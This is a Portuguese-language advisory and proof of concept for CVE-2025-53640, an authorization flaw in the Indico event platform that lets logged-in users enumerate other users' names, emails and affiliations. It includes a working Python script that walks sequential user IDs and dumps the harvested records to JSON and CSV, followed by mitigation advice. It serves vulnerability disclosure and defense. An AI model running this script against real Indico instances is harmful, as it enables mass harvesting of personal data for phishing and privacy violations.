
Broken Object Level Authorization (BOLA) no Indico do CERN leva à enumeração de usuários autenticados.
PoC e análise técnica da CVE-2025-53640: uma vulnerabilidade de Broken Object Level Authorization (BOLA) no Indico permite a enumeração de usuários autenticados por meio de endpoint, expondo nomes, e-mails e afiliações. Inclui script de exploração, análise de requisições e capturas de tela. Afeta instâncias do Indico implantadas globalmente (Organização Europeia para a Pesquisa Nuclear (CERN), Organização das Nações Unidas (ONU), Instituto de Tecnologia de Massachusetts (MIT), Agência Espacial Europeia (ESA), entre outras).
Uma vulnerabilidade de Broken Object Level Authorization (BOLA) no aplicativo de código aberto Indico permite a enumeração em massa de usuários por meio do endpoint.
Originalmente destinado a resolver IDs de usuários em campos de formulário específicos, este endpoint pode ser usado indevidamente para recuperar dados pessoais de qualquer ID de usuário válido:
Nome completo
Endereço de e-mail
Título
Afiliação
URL do avatar
A vulnerabilidade foi reportada e reconhecida pelos mantenedores do Indico, sendo oficialmente rastreada como CVE-2025-53640
É necessária uma sessão autenticada válida.
No entanto, a maioria das instâncias públicas do Indico permite auto-registro sem verificação de e-mail, CAPTCHA ou aprovação manual.
Isso torna a vulnerabilidade praticamente explorável por usuários não autenticados após a criação trivial de uma conta.
O Indico é uma plataforma de gestão de eventos e conferências amplamente adotada, desenvolvida pela CERN (Organização Europeia para a Pesquisa Nuclear), que alimenta a infraestrutura acadêmica e institucional em todo o mundo:
CERN (Organização Europeia para a Pesquisa Nuclear): Mais de 900.000 eventos anualmente; mais de 200 salas reservadas por dia.
Mundialmente: Cerca de 145.000 eventos/ano em mais de 300 instituições.
ONU (Organização das Nações Unidas): Mais de 180.000 participantes/ano.
UNOG (Escritório das Nações Unidas em Genebra): Até 700.000 usuários/ano.
Amplamente utilizado por universidades, laboratórios, institutos de pesquisa e agências governamentais.
Exemplos de instâncias públicas afetadas:
Devido à sua ampla adoção em ambientes científicos, acadêmicos e governamentais, esta vulnerabilidade apresenta sérios riscos:
Vazamento de identidade de pesquisadores, funcionários e administradores
Violações de privacidade em larga escala e exposição de diretórios institucionais
Reconhecimento direcionado para phishing ou engenharia social
Potencial comprometimento de pesquisas sensíveis e iniciativas políticas
Divulgação de dados pessoais (PII)
Enumeração de usuários com privilégios elevados (administradores, organizadores)
Apoia operações de phishing em massa e spear-phishing
Viola regulamentações como GDPR, LGPD e políticas institucionais internas
Pode constituir uma violação reportável dependendo da jurisdição
O problema foi corrigido no Indico v3.3.7.
Segundo os mantenedores, o comportamento do endpoint foi ajustado para impedir a extração em massa de dados de usuários (nome, afiliação e e-mail) por meio de IDs previsíveis. Uma nova flag de configuração ALLOW_PUBLIC_USER_SEARCH também foi introduzida.
Mitigações adicionais incluem:
Restrição das verificações de e-mail no registro
Desativação da resolução de links de pessoas quando a busca pública está desativada
Adição de avisos na interface para eventos sem ACL sob busca restrita
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
Restrinja o acesso ao endpoint com base em função ou contexto
Defina ALLOW_PUBLIC_USER_SEARCH = false no indico.conf
Limite os campos de usuário expostos apenas ao que for necessário
Desative ou restrinja o auto-registro (ex.: verificação de e-mail, aprovação do administrador)
Habilite monitoramento e limite de taxa no endpoint
Atualize para o Indico 3.3.7 ou mais recente imediatamente
Monitore os logs de acesso em busca de padrões de enumeração
ID oficial: CVE-2025-53640
Esta vulnerabilidade foi descoberta durante uma avaliação de segurança conduzida como parte do Programa de Residência em Red Team na RNP (Rede Nacional de Ensino e Pesquisa – Brasil).
Toda a pesquisa e os testes foram realizados com autorização e supervisão prévias. Agradecimentos especiais à Equipe de Segurança da RNP pela orientação ética e suporte de infraestrutura.
Esta CVE ressalta a importância de aplicar controle de acesso estrito a nível de objeto em plataformas que gerenciam dados institucionais sensíveis.